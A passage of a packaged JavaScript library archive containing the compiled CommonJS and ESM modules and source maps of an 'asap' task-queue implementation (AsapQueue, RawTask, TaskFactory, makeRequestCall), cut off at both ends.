C,AAAC;qBAC/B;oBACDL,CAAC,CAACE,MAAM,IAAI,IAAI,CAACG,KAAK;oBACtB,IAAI,CAACA,KAAK,GAAG,CAAC;iBACd;aACD;YACDL,CAAC,CAACE,MAAM,GAAG,CAAC;YACZ,IAAI,CAACG,KAAK,GAAG,CAAC;YACd,IAAI,CAACF,QAAQ,GAAG,KAAK;SACrB,AAvGF,CAuGE;QAED,gEAAgE;QAChE,qEAAqE;QACrE,uBAAuB;QACvB,KAAOS,oBAAoB,GAAG,CAACC,GAAQ,GAAK;YAC3C,IAAI,CAACT,aAAa,CAACU,IAAI,CAACD,GAAG,CAAC;YAC5B,IAAI,CAACE,iBAAiB,EAAE;SACxB,AA/GF,CA+GE;QAlFA,2EAA2E;QAC3E,oBAAoB;QACpB,8EAA8E;QAC9E,gDAA8C;QAC9C,oDAAoD;QAEpD,8EAA8E;QAC9E,2EAA2E;QAC3E,yGAAyG;QACzG,IAAI,CAACd,YAAY,GAAGe,CAAAA,GAAAA,kBAAe,AAAY,CAAA,gBAAZ,CAAC,IAAI,CAACT,KAAK,CAAC;QAC/C,IAAI,CAACQ,iBAAiB,GAAGE,CAAAA,GAAAA,kBAAwB,AAK/C,CAAA,yBAL+C,CAAC,IAAM;YACvD,oBAAoB;YACpB,IAAI,IAAI,CAACb,aAAa,CAACF,MAAM,EAAE;gBAC9B,MAAM,IAAI,CAACE,aAAa,CAACc,KAAK,EAAE,CAAA;aAChC;SACD,CAAC;KACF;CAmED,CAED,wEAAwE;CACxE,wCAAwC;CACxC,wDAAwD;CAExD,4EAA4E;CAC5E,iEAAiE;CACjE,iEAAiE;CAEjE,yDAAyD;CACzD,0CAA0C;CAC1C,0CAA0C;CAC1C,sCAAsC;CACtC,wCAAwC;CACxC,SAAS;CACT,IAAI;CAEJ,wEAAwE;CACxE,2BAA2B;CAC3B,iEAAiE;CACjE,0EAA0E;CAC1E,6EAA6E;CAC7E,WAAW;CACX,gBAAgB;CAEhB,uDAAuD;CACvD,sCAAsC;CACtC,kCAAkC;CAClC,SAAS;CACT,IAAI;CAEJ,wEAAwE;CACxE,2EAA2E;CAC3E,8DAA8D;CAC9D,+EAA+E;CAC/E,4DAA4D;CAE5D,2EAA2E;CAC3E,4EAA4E;CAC5E,aAAa;CAEb,8BAA8B;CAC9B,6EAA6E;CAC7E,oBAAoB;CACpB,8DAA8D;CAE9D,2EAA2E;CAC3E,0EAA0E;CAC1E,8EAA8E;CAC9E,+EAA+E;CAC/E,yBAAyB;CACzB,oGAAoG;QAhKvFtB,SAAS,GAATA,SAAS"}cjs/asap.js.map000064400000002376151701456740007403 0ustar00{"version":3,"sources":["../../src/asap.ts"],"sourcesContent":["import { AsapQueue } from './AsapQueue.js'\nimport { TaskFactory } from './TaskFactory.js'\nimport type { TaskFn } from './types.js'\n\nconst asapQueue = new AsapQueue()\nconst taskFactory = new TaskFactory(asapQueue.registerPendingError)\n\n/**\n * Calls a task as soon as possible after returning, in its own event, with priority\n * over other events like animation, reflow, and repaint. An error thrown from an\n * event will not interrupt, nor even substantially slow down the processing of\n * other events, but will be rather postponed to a lower priority event.\n * @param {{call}} task A callable object, typically a function that takes no\n * arguments.\n */\nexport function asap(task: TaskFn) {\n\tasapQueue.enqueueTask(taskFactory.create(task))\n}\n"],"names":["asap","asapQueue","AsapQueue","taskFactory","TaskFactory","registerPendingError","task","enqueueTask","create"],"mappings":"AAAA;;;;QAegBA,IAAI,GAAJA,IAAI;AAfM,IAAA,YAAgB,WAAhB,gBAAgB,CAAA;AACd,IAAA,cAAkB,WAAlB,kBAAkB,CAAA;AAG9C,MAAMC,SAAS,GAAG,IAAIC,YAAS,UAAA,EAAE;AACjC,MAAMC,WAAW,GAAG,IAAIC,cAAW,YAAA,CAACH,SAAS,CAACI,oBAAoB,CAAC;AAU5D,SAASL,IAAI,CAACM,IAAY,EAAE;IAClCL,SAAS,CAACM,WAAW,CAACJ,WAAW,CAACK,MAAM,CAACF,IAAI,CAAC,CAAC;CAC/C"}cjs/types.js.map000064400000000256151701456740007616 0ustar00{"version":3,"sources":["../../src/types.ts"],"sourcesContent":["export interface Task {\n\tcall(): void\n}\nexport type TaskFn = () => void\n"],"names":[],"mappings":"AAAA"}cjs/makeRequestCall.js000064400000007107151701456740010762 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
exports.makeRequestCallFromTimer = makeRequestCallFromTimer;
exports.makeRequestCallFromMutationObserver = makeRequestCallFromMutationObserver;
exports.makeRequestCall = void 0;
// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that
// have WebKitMutationObserver but not un-prefixed MutationObserver.
// Must use `global` or `self` instead of `window` to work in both frames and web
// workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.
/* globals self */ const scope = typeof global !== 'undefined' ? global : self;
const BrowserMutationObserver = scope.MutationObserver || scope.WebKitMutationObserver;
function makeRequestCallFromTimer(callback) {
    return function requestCall() {
        // We dispatch a timeout with a specified delay of 0 for engines that
        // can reliably accommodate that request. This will usually be snapped
        // to a 4 milisecond delay, but once we're flushing, there's no delay
        // between events.
        const timeoutHandle = setTimeout(handleTimer, 0);
        // However, since this timer gets frequently dropped in Firefox
        // workers, we enlist an interval handle that will try to fire
        // an event 20 times per second until it succeeds.
        const intervalHandle = setInterval(handleTimer, 50);
        function handleTimer() {
            // Whichever timer succeeds will cancel both timers and
            // execute the callback.
            clearTimeout(timeoutHandle);
            clearInterval(intervalHandle);
            callback();
        }
    };
}
function makeRequestCallFromMutationObserver(callback) {
    let toggle = 1;
    const observer = new BrowserMutationObserver(callback);
    const node = document.createTextNode('');
    observer.observe(node, {
        characterData: true
    });
    return function requestCall() {
        toggle = -toggle;
        node.data = toggle;
    };
}
const makeRequestCall = typeof BrowserMutationObserver === 'function' ? // reliably everywhere they are implemented.
// They are implemented in all modern browsers.
//
// - Android 4-4.3
// - Chrome 26-34
// - Firefox 14-29
// - Internet Explorer 11
// - iPad Safari 6-7.1
// - iPhone Safari 7-7.1
// - Safari 6-7
makeRequestCallFromMutationObserver : // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera
// 11-12, and in web workers in many engines.
// Although message channels yield to any queued rendering and IO tasks, they
// would be better than imposing the 4ms delay of timers.
// However, they do not work reliably in Internet Explorer or Safari.
// Internet Explorer 10 is the only browser that has setImmediate but does
// not have MutationObservers.
// Although setImmediate yields to the browser's renderer, it would be
// preferrable to falling back to setTimeout since it does not have
// the minimum 4ms penalty.
// Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and
// Desktop to a lesser extent) that renders both setImmediate and
// MessageChannel useless for the purposes of ASAP.
// https://github.com/kriskowal/q/issues/396
// Timers are implemented universally.
// We fall back to timers in workers in most engines, and in foreground
// contexts in the following browsers.
// However, note that even this simple case requires nuances to operate in a
// broad spectrum of browsers.
//
// - Firefox 3-13
// - Internet Explorer 6-9
// - iPad Safari 4.3
// - Lynx 2.8.7
makeRequestCallFromTimer;
exports.makeRequestCall = makeRequestCall;

//# sourceMappingURL=makeRequestCall.js.mapcjs/TaskFactory.js000064400000001040151701456740010120 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
var _rawTaskJs = require("./RawTask.js");
class TaskFactory {
    create(task) {
        const tasks = this.freeTasks;
        const t1 = tasks.length ? tasks.pop() : new _rawTaskJs.RawTask(this.onError, (t)=>tasks[tasks.length] = t
        );
        t1.task = task;
        return t1;
    }
    constructor(onError){
        this.onError = onError;
        this.freeTasks = [];
    }
}
exports.TaskFactory = TaskFactory;

//# sourceMappingURL=TaskFactory.js.mapcjs/makeRequestCall.js.map000064400000013433151701456740011535 0ustar00{"version":3,"sources":["../../src/makeRequestCall.ts"],"sourcesContent":["// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that\n// have WebKitMutationObserver but not un-prefixed MutationObserver.\n// Must use `global` or `self` instead of `window` to work in both frames and web\n// workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.\n\n/* globals self */\nconst scope = typeof global !== 'undefined' ? global : self\nconst BrowserMutationObserver =\n\t(scope as any).MutationObserver || (scope as any).WebKitMutationObserver\n\nexport function makeRequestCallFromTimer(callback: () => void) {\n\treturn function requestCall() {\n\t\t// We dispatch a timeout with a specified delay of 0 for engines that\n\t\t// can reliably accommodate that request. This will usually be snapped\n\t\t// to a 4 milisecond delay, but once we're flushing, there's no delay\n\t\t// between events.\n\t\tconst timeoutHandle = setTimeout(handleTimer, 0)\n\t\t// However, since this timer gets frequently dropped in Firefox\n\t\t// workers, we enlist an interval handle that will try to fire\n\t\t// an event 20 times per second until it succeeds.\n\t\tconst intervalHandle = setInterval(handleTimer, 50)\n\n\t\tfunction handleTimer() {\n\t\t\t// Whichever timer succeeds will cancel both timers and\n\t\t\t// execute the callback.\n\t\t\tclearTimeout(timeoutHandle)\n\t\t\tclearInterval(intervalHandle)\n\t\t\tcallback()\n\t\t}\n\t}\n}\n\n// To request a high priority event, we induce a mutation observer by toggling\n// the text of a text node between \"1\" and \"-1\".\nexport function makeRequestCallFromMutationObserver(callback: () => void) {\n\tlet toggle = 1\n\tconst observer = new BrowserMutationObserver(callback)\n\tconst node = document.createTextNode('')\n\tobserver.observe(node, { characterData: true })\n\treturn function requestCall() {\n\t\ttoggle = -toggle\n\t\t;(node as any).data = toggle\n\t}\n}\n\nexport const makeRequestCall =\n\ttypeof BrowserMutationObserver === 'function'\n\t\t? // MutationObservers are desirable because they have high priority and work\n\t\t  // reliably everywhere they are implemented.\n\t\t  // They are implemented in all modern browsers.\n\t\t  //\n\t\t  // - Android 4-4.3\n\t\t  // - Chrome 26-34\n\t\t  // - Firefox 14-29\n\t\t  // - Internet Explorer 11\n\t\t  // - iPad Safari 6-7.1\n\t\t  // - iPhone Safari 7-7.1\n\t\t  // - Safari 6-7\n\t\t  makeRequestCallFromMutationObserver\n\t\t: // MessageChannels are desirable because they give direct access to the HTML\n\t\t  // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera\n\t\t  // 11-12, and in web workers in many engines.\n\t\t  // Although message channels yield to any queued rendering and IO tasks, they\n\t\t  // would be better than imposing the 4ms delay of timers.\n\t\t  // However, they do not work reliably in Internet Explorer or Safari.\n\n\t\t  // Internet Explorer 10 is the only browser that has setImmediate but does\n\t\t  // not have MutationObservers.\n\t\t  // Although setImmediate yields to the browser's renderer, it would be\n\t\t  // preferrable to falling back to setTimeout since it does not have\n\t\t  // the minimum 4ms penalty.\n\t\t  // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and\n\t\t  // Desktop to a lesser extent) that renders both setImmediate and\n\t\t  // MessageChannel useless for the purposes of ASAP.\n\t\t  // https://github.com/kriskowal/q/issues/396\n\n\t\t  // Timers are implemented universally.\n\t\t  // We fall back to timers in workers in most engines, and in foreground\n\t\t  // contexts in the following browsers.\n\t\t  // However, note that even this simple case requires nuances to operate in a\n\t\t  // broad spectrum of browsers.\n\t\t  //\n\t\t  // - Firefox 3-13\n\t\t  // - Internet Explorer 6-9\n\t\t  // - iPad Safari 4.3\n\t\t  // - Lynx 2.8.7\n\t\t  makeRequestCallFromTimer\n"],"names":["makeRequestCallFromTimer","makeRequestCallFromMutationObserver","scope","global","self","BrowserMutationObserver","MutationObserver","WebKitMutationObserver","callback","requestCall","timeoutHandle","setTimeout","handleTimer","intervalHandle","setInterval","clearTimeout","clearInterval","toggle","observer","node","document","createTextNode","observe","characterData","data","makeRequestCall"],"mappings":"AAMA;;;;QAIgBA,wBAAwB,GAAxBA,wBAAwB;QAwBxBC,mCAAmC,GAAnCA,mCAAmC;;AAlCnD,4EAA4E;AAC5E,oEAAoE;AACpE,iFAAiF;AACjF,mEAAmE;AAEnE,kBAAkB,CAClB,MAAMC,KAAK,GAAG,OAAOC,MAAM,KAAK,WAAW,GAAGA,MAAM,GAAGC,IAAI;AAC3D,MAAMC,uBAAuB,GAC5B,AAACH,KAAK,CAASI,gBAAgB,IAAI,AAACJ,KAAK,CAASK,sBAAsB;AAElE,SAASP,wBAAwB,CAACQ,QAAoB,EAAE;IAC9D,OAAO,SAASC,WAAW,GAAG;QAC7B,qEAAqE;QACrE,sEAAsE;QACtE,qEAAqE;QACrE,kBAAkB;QAClB,MAAMC,aAAa,GAAGC,UAAU,CAACC,WAAW,EAAE,CAAC,CAAC;QAChD,+DAA+D;QAC/D,8DAA8D;QAC9D,kDAAkD;QAClD,MAAMC,cAAc,GAAGC,WAAW,CAACF,WAAW,EAAE,EAAE,CAAC;QAEnD,SAASA,WAAW,GAAG;YACtB,uDAAuD;YACvD,wBAAwB;YACxBG,YAAY,CAACL,aAAa,CAAC;YAC3BM,aAAa,CAACH,cAAc,CAAC;YAC7BL,QAAQ,EAAE;SACV;KACD,CAAA;CACD;AAIM,SAASP,mCAAmC,CAACO,QAAoB,EAAE;IACzE,IAAIS,MAAM,GAAG,CAAC;IACd,MAAMC,QAAQ,GAAG,IAAIb,uBAAuB,CAACG,QAAQ,CAAC;IACtD,MAAMW,IAAI,GAAGC,QAAQ,CAACC,cAAc,CAAC,EAAE,CAAC;IACxCH,QAAQ,CAACI,OAAO,CAACH,IAAI,EAAE;QAAEI,aAAa,EAAE,IAAI;KAAE,CAAC;IAC/C,OAAO,SAASd,WAAW,GAAG;QAC7BQ,MAAM,GAAG,CAACA,MAAM,CACf;QAAA,AAACE,IAAI,CAASK,IAAI,GAAGP,MAAM;KAC5B,CAAA;CACD;AAEM,MAAMQ,eAAe,GAC3B,OAAOpB,uBAAuB,KAAK,UAAU,GAE1C,4CAA4C;AAC5C,+CAA+C;AAC/C,EAAE;AACF,kBAAkB;AAClB,iBAAiB;AACjB,kBAAkB;AAClB,yBAAyB;AACzB,sBAAsB;AACtB,wBAAwB;AACxB,eAAe;AACfJ,mCAAmC,GAEnC,+EAA+E;AAC/E,6CAA6C;AAC7C,6EAA6E;AAC7E,yDAAyD;AACzD,qEAAqE;AAErE,0EAA0E;AAC1E,8BAA8B;AAC9B,sEAAsE;AACtE,mEAAmE;AACnE,2BAA2B;AAC3B,8EAA8E;AAC9E,iEAAiE;AACjE,mDAAmD;AACnD,4CAA4C;AAE5C,sCAAsC;AACtC,uEAAuE;AACvE,sCAAsC;AACtC,4EAA4E;AAC5E,8BAA8B;AAC9B,EAAE;AACF,iBAAiB;AACjB,0BAA0B;AAC1B,oBAAoB;AACpB,eAAe;AACfD,wBAAwB;QAzCfyB,eAAe,GAAfA,eAAe"}cjs/asap.js000064400000000670151701456740006622 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
exports.asap = asap;
var _asapQueueJs = require("./AsapQueue.js");
var _taskFactoryJs = require("./TaskFactory.js");
const asapQueue = new _asapQueueJs.AsapQueue();
const taskFactory = new _taskFactoryJs.TaskFactory(asapQueue.registerPendingError);
function asap(task) {
    asapQueue.enqueueTask(taskFactory.create(task));
}

//# sourceMappingURL=asap.js.mapcjs/RawTask.js.map000064400000002105151701456740010021 0ustar00{"version":3,"sources":["../../src/RawTask.ts"],"sourcesContent":["// We wrap tasks with recyclable task objects.  A task object implements\n\nimport type { TaskFn, Task } from 'types'\n\n// `call`, just like a function.\nexport class RawTask implements Task {\n\tpublic task: TaskFn | null = null\n\n\tpublic constructor(\n\t\tprivate onError: (err: any) => void,\n\t\tprivate release: (t: RawTask) => void,\n\t) {}\n\n\tpublic call() {\n\t\ttry {\n\t\t\tthis.task && this.task()\n\t\t} catch (error) {\n\t\t\tthis.onError(error)\n\t\t} finally {\n\t\t\tthis.task = null\n\t\t\tthis.release(this)\n\t\t}\n\t}\n}\n"],"names":["RawTask","call","task","error","onError","release"],"mappings":"AAEA;;;;AAGO,MAAMA,OAAO;IAQnB,AAAOC,IAAI,GAAG;QACb,IAAI;YACH,IAAI,CAACC,IAAI,IAAI,IAAI,CAACA,IAAI,EAAE;SACxB,CAAC,OAAOC,KAAK,EAAE;YACf,IAAI,CAACC,OAAO,CAACD,KAAK,CAAC;SACnB,QAAS;YACT,IAAI,CAACD,IAAI,GAAG,IAAI;YAChB,IAAI,CAACG,OAAO,CAAC,IAAI,CAAC;SAClB;KACD;IAdD,YACSD,OAA2B,EAC3BC,OAA6B,CACpC;aAFOD,OAA2B,GAA3BA,OAA2B;aAC3BC,OAA6B,GAA7BA,OAA6B;aAJ/BH,IAAI,GAAkB,IAAI;KAK7B;CAYJ;QAlBYF,OAAO,GAAPA,OAAO"}cjs/TaskFactory.js.map000064400000002145151701456740010703 0ustar00{"version":3,"sources":["../../src/TaskFactory.ts"],"sourcesContent":["import type { Task } from './types.js'\nimport { RawTask } from './RawTask.js'\n\nexport class TaskFactory {\n\tprivate freeTasks: RawTask[] = []\n\n\tpublic constructor(private onError: (err: any) => void) {}\n\n\tpublic create(task: () => void): Task {\n\t\tconst tasks = this.freeTasks\n\t\tconst t = tasks.length\n\t\t\t? (tasks.pop() as RawTask)\n\t\t\t: new RawTask(this.onError, (t) => (tasks[tasks.length] = t))\n\t\tt.task = task\n\t\treturn t\n\t}\n}\n"],"names":["TaskFactory","create","task","tasks","freeTasks","t","length","pop","RawTask","onError"],"mappings":"AAAA;;;;AACwB,IAAA,UAAc,WAAd,cAAc,CAAA;AAE/B,MAAMA,WAAW;IAKvB,AAAOC,MAAM,CAACC,IAAgB,EAAQ;QACrC,MAAMC,KAAK,GAAG,IAAI,CAACC,SAAS;QAC5B,MAAMC,EAAC,GAAGF,KAAK,CAACG,MAAM,GAClBH,KAAK,CAACI,GAAG,EAAE,GACZ,IAAIC,UAAO,QAAA,CAAC,IAAI,CAACC,OAAO,EAAE,CAACJ,CAAC,GAAMF,KAAK,CAACA,KAAK,CAACG,MAAM,CAAC,GAAGD,CAAC;QAAC,CAAC;QAC9DA,EAAC,CAACH,IAAI,GAAGA,IAAI;QACb,OAAOG,EAAC,CAAA;KACR;IATD,YAA2BI,OAA2B,CAAE;aAA7BA,OAA2B,GAA3BA,OAA2B;aAF9CL,SAAS,GAAc,EAAE;KAEyB;CAU1D;QAbYJ,WAAW,GAAXA,WAAW"}cjs/RawTask.js000064400000001002151701456740007240 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
class RawTask {
    call() {
        try {
            this.task && this.task();
        } catch (error) {
            this.onError(error);
        } finally{
            this.task = null;
            this.release(this);
        }
    }
    constructor(onError, release){
        this.onError = onError;
        this.release = release;
        this.task = null;
    }
}
exports.RawTask = RawTask;

//# sourceMappingURL=RawTask.js.mapcjs/index.js.map000064400000000753151701456740007563 0ustar00{"version":3,"sources":["../../src/index.ts"],"sourcesContent":["export * from './asap.js'\nexport * from './types.js'\nexport * from './AsapQueue.js'\nexport * from './TaskFactory.js'\n"],"names":[],"mappings":"AAAA;;;;;8CAAc,WAAW;AAAzB,YAAA,OAAyB;;;2CAAzB,OAAyB;;;;mBAAzB,OAAyB;;;EAAA;+CACX,YAAY;AAA1B,YAAA,QAA0B;;;2CAA1B,QAA0B;;;;mBAA1B,QAA0B;;;EAAA;mDACZ,gBAAgB;AAA9B,YAAA,YAA8B;;;2CAA9B,YAA8B;;;;mBAA9B,YAA8B;;;EAAA;qDAChB,kBAAkB;AAAhC,YAAA,cAAgC;;;2CAAhC,cAAgC;;;;mBAAhC,cAAgC;;;EAAA"}cjs/AsapQueue.js000064400000016367151701456740007601 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
var _makeRequestCallJs = require("./makeRequestCall.js");
class AsapQueue {
    // Use the fastest means possible to execute a task in its own turn, with
    // priority over other events including IO, animation, reflow, and redraw
    // events in browsers.
    //
    // An exception thrown by a task will permanently interrupt the processing of
    // subsequent tasks. The higher level `asap` function ensures that if an
    // exception is thrown by a task, that the task queue will continue flushing as
    // soon as possible, but if you use `rawAsap` directly, you are responsible to
    // either ensure that no exceptions are thrown from your task, or to manually
    // call `rawAsap.requestFlush` if an exception is thrown.
    enqueueTask(task) {
        const { queue: q , requestFlush  } = this;
        if (!q.length) {
            requestFlush();
            this.flushing = true;
        }
        // Equivalent to push, but avoids a function call.
        q[q.length] = task;
    }
    constructor(){
        this.queue = [];
        // We queue errors to ensure they are thrown in right order (FIFO).
        // Array-as-queue is good enough here, since we are just dealing with exceptions.
        this.pendingErrors = [];
        // Once a flush has been requested, no further calls to `requestFlush` are
        // necessary until the next `flush` completes.
        // @ts-ignore
        this.flushing = false;
        // The position of the next task to execute in the task queue. This is
        // preserved between calls to `flush` so that it can be resumed if
        // a task throws an exception.
        this.index = 0;
        // If a task schedules additional tasks recursively, the task queue can grow
        // unbounded. To prevent memory exhaustion, the task queue will periodically
        // truncate already-completed tasks.
        this.capacity = 1024;
        // The flush function processes all tasks that have been scheduled with
        // `rawAsap` unless and until one of those tasks throws an exception.
        // If a task throws an exception, `flush` ensures that its state will remain
        // consistent and will resume where it left off when called again.
        // However, `flush` does not make any arrangements to be called again if an
        // exception is thrown.
        this.flush = ()=>{
            const { queue: q  } = this;
            while(this.index < q.length){
                const currentIndex = this.index;
                // Advance the index before calling the task. This ensures that we will
                // begin flushing on the next task the task throws an error.
                this.index++;
                q[currentIndex].call();
                // Prevent leaking memory for long chains of recursive calls to `asap`.
                // If we call `asap` within tasks scheduled by `asap`, the queue will
                // grow, but to avoid an O(n) walk for every task we execute, we don't
                // shift tasks off the queue after they have been executed.
                // Instead, we periodically shift 1024 tasks off the queue.
                if (this.index > this.capacity) {
                    // Manually shift all values starting at the index back to the
                    // beginning of the queue.
                    for(let scan = 0, newLength = q.length - this.index; scan < newLength; scan++){
                        q[scan] = q[scan + this.index];
                    }
                    q.length -= this.index;
                    this.index = 0;
                }
            }
            q.length = 0;
            this.index = 0;
            this.flushing = false;
        };
        // In a web browser, exceptions are not fatal. However, to avoid
        // slowing down the queue of pending tasks, we rethrow the error in a
        // lower priority turn.
        this.registerPendingError = (err)=>{
            this.pendingErrors.push(err);
            this.requestErrorThrow();
        };
        // `requestFlush` requests that the high priority event queue be flushed as
        // soon as possible.
        // This is useful to prevent an error thrown in a task from stalling the event
        // queue if the exception handled by Node.js’s
        // `process.on("uncaughtException")` or by a domain.
        // `requestFlush` is implemented using a strategy based on data collected from
        // every available SauceLabs Selenium web driver worker at time of writing.
        // https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593
        this.requestFlush = (0, _makeRequestCallJs).makeRequestCall(this.flush);
        this.requestErrorThrow = (0, _makeRequestCallJs).makeRequestCallFromTimer(()=>{
            // Throw first error
            if (this.pendingErrors.length) {
                throw this.pendingErrors.shift();
            }
        });
    }
} // The message channel technique was discovered by Malte Ubl and was the
 // original foundation for this library.
 // http://www.nonblocking.io/2011/06/windownexttick.html
 // Safari 6.0.5 (at least) intermittently fails to create message ports on a
 // page's first load. Thankfully, this version of Safari supports
 // MutationObservers, so we don't need to fall back in that case.
 // function makeRequestCallFromMessageChannel(callback) {
 //     var channel = new MessageChannel();
 //     channel.port1.onmessage = callback;
 //     return function requestCall() {
 //         channel.port2.postMessage(0);
 //     };
 // }
 // For reasons explained above, we are also unable to use `setImmediate`
 // under any circumstances.
 // Even if we were, there is another bug in Internet Explorer 10.
 // It is not sufficient to assign `setImmediate` to `requestFlush` because
 // `setImmediate` must be called *by name* and therefore must be wrapped in a
 // closure.
 // Never forget.
 // function makeRequestCallFromSetImmediate(callback) {
 //     return function requestCall() {
 //         setImmediate(callback);
 //     };
 // }
 // Safari 6.0 has a problem where timers will get lost while the user is
 // scrolling. This problem does not impact ASAP because Safari 6.0 supports
 // mutation observers, so that implementation is used instead.
 // However, if we ever elect to use timers in Safari, the prevalent work-around
 // is to add a scroll event listener that calls for a flush.
 // `setTimeout` does not call the passed callback if the delay is less than
 // approximately 7 in web workers in Firefox 8 through 18, and sometimes not
 // even then.
 // This is for `asap.js` only.
 // Its name will be periodically randomized to break any code that depends on
 // // its existence.
 // rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer
 // ASAP was originally a nextTick shim included in Q. This was factored out
 // into this ASAP package. It was later adapted to RSVP which made further
 // amendments. These decisions, particularly to marginalize MessageChannel and
 // to capture the MutationObserver implementation in a closure, were integrated
 // back into ASAP proper.
 // https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js
exports.AsapQueue = AsapQueue;

//# sourceMappingURL=AsapQueue.js.mapesm/index.mjs.map000064400000000454151701456740007743 0ustar00{"version":3,"sources":["../../src/index.ts"],"sourcesContent":["export * from './asap.js'\nexport * from './types.js'\nexport * from './AsapQueue.js'\nexport * from './TaskFactory.js'\n"],"names":[],"mappings":"AAAA,cAAc,WAAW,CAAA;AACzB,cAAc,YAAY,CAAA;AAC1B,cAAc,gBAAgB,CAAA;AAC9B,cAAc,kBAAkB,CAAA"}esm/TaskFactory.mjs.map000064400000002107151701456740011063 0ustar00{"version":3,"sources":["../../src/TaskFactory.ts"],"sourcesContent":["import type { Task } from './types.js'\nimport { RawTask } from './RawTask.js'\n\nexport class TaskFactory {\n\tprivate freeTasks: RawTask[] = []\n\n\tpublic constructor(private onError: (err: any) => void) {}\n\n\tpublic create(task: () => void): Task {\n\t\tconst tasks = this.freeTasks\n\t\tconst t = tasks.length\n\t\t\t? (tasks.pop() as RawTask)\n\t\t\t: new RawTask(this.onError, (t) => (tasks[tasks.length] = t))\n\t\tt.task = task\n\t\treturn t\n\t}\n}\n"],"names":["RawTask","TaskFactory","create","task","tasks","freeTasks","t","length","pop","onError"],"mappings":"AACA,SAASA,OAAO,QAAQ,cAAc,CAAA;AAEtC,OAAO,MAAMC,WAAW;IAKvB,AAAOC,MAAM,CAACC,IAAgB,EAAQ;QACrC,MAAMC,KAAK,GAAG,IAAI,CAACC,SAAS;QAC5B,MAAMC,EAAC,GAAGF,KAAK,CAACG,MAAM,GAClBH,KAAK,CAACI,GAAG,EAAE,GACZ,IAAIR,OAAO,CAAC,IAAI,CAACS,OAAO,EAAE,CAACH,CAAC,GAAMF,KAAK,CAACA,KAAK,CAACG,MAAM,CAAC,GAAGD,CAAC;QAAC,CAAC;QAC9DA,EAAC,CAACH,IAAI,GAAGA,IAAI;QACb,OAAOG,EAAC,CAAA;KACR;IATD,YAA2BG,OAA2B,CAAE;aAA7BA,OAA2B,GAA3BA,OAA2B;aAF9CJ,SAAS,GAAc,EAAE;KAEyB;CAU1D"}esm/types.mjs000064400000000057151701456750007224 0ustar00export { };

//# sourceMappingURL=types.mjs.mapesm/makeRequestCall.mjs.map000064400000013355151701456750011723 0ustar00{"version":3,"sources":["../../src/makeRequestCall.ts"],"sourcesContent":["// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that\n// have WebKitMutationObserver but not un-prefixed MutationObserver.\n// Must use `global` or `self` instead of `window` to work in both frames and web\n// workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.\n\n/* globals self */\nconst scope = typeof global !== 'undefined' ? global : self\nconst BrowserMutationObserver =\n\t(scope as any).MutationObserver || (scope as any).WebKitMutationObserver\n\nexport function makeRequestCallFromTimer(callback: () => void) {\n\treturn function requestCall() {\n\t\t// We dispatch a timeout with a specified delay of 0 for engines that\n\t\t// can reliably accommodate that request. This will usually be snapped\n\t\t// to a 4 milisecond delay, but once we're flushing, there's no delay\n\t\t// between events.\n\t\tconst timeoutHandle = setTimeout(handleTimer, 0)\n\t\t// However, since this timer gets frequently dropped in Firefox\n\t\t// workers, we enlist an interval handle that will try to fire\n\t\t// an event 20 times per second until it succeeds.\n\t\tconst intervalHandle = setInterval(handleTimer, 50)\n\n\t\tfunction handleTimer() {\n\t\t\t// Whichever timer succeeds will cancel both timers and\n\t\t\t// execute the callback.\n\t\t\tclearTimeout(timeoutHandle)\n\t\t\tclearInterval(intervalHandle)\n\t\t\tcallback()\n\t\t}\n\t}\n}\n\n// To request a high priority event, we induce a mutation observer by toggling\n// the text of a text node between \"1\" and \"-1\".\nexport function makeRequestCallFromMutationObserver(callback: () => void) {\n\tlet toggle = 1\n\tconst observer = new BrowserMutationObserver(callback)\n\tconst node = document.createTextNode('')\n\tobserver.observe(node, { characterData: true })\n\treturn function requestCall() {\n\t\ttoggle = -toggle\n\t\t;(node as any).data = toggle\n\t}\n}\n\nexport const makeRequestCall =\n\ttypeof BrowserMutationObserver === 'function'\n\t\t? // MutationObservers are desirable because they have high priority and work\n\t\t  // reliably everywhere they are implemented.\n\t\t  // They are implemented in all modern browsers.\n\t\t  //\n\t\t  // - Android 4-4.3\n\t\t  // - Chrome 26-34\n\t\t  // - Firefox 14-29\n\t\t  // - Internet Explorer 11\n\t\t  // - iPad Safari 6-7.1\n\t\t  // - iPhone Safari 7-7.1\n\t\t  // - Safari 6-7\n\t\t  makeRequestCallFromMutationObserver\n\t\t: // MessageChannels are desirable because they give direct access to the HTML\n\t\t  // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera\n\t\t  // 11-12, and in web workers in many engines.\n\t\t  // Although message channels yield to any queued rendering and IO tasks, they\n\t\t  // would be better than imposing the 4ms delay of timers.\n\t\t  // However, they do not work reliably in Internet Explorer or Safari.\n\n\t\t  // Internet Explorer 10 is the only browser that has setImmediate but does\n\t\t  // not have MutationObservers.\n\t\t  // Although setImmediate yields to the browser's renderer, it would be\n\t\t  // preferrable to falling back to setTimeout since it does not have\n\t\t  // the minimum 4ms penalty.\n\t\t  // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and\n\t\t  // Desktop to a lesser extent) that renders both setImmediate and\n\t\t  // MessageChannel useless for the purposes of ASAP.\n\t\t  // https://github.com/kriskowal/q/issues/396\n\n\t\t  // Timers are implemented universally.\n\t\t  // We fall back to timers in workers in most engines, and in foreground\n\t\t  // contexts in the following browsers.\n\t\t  // However, note that even this simple case 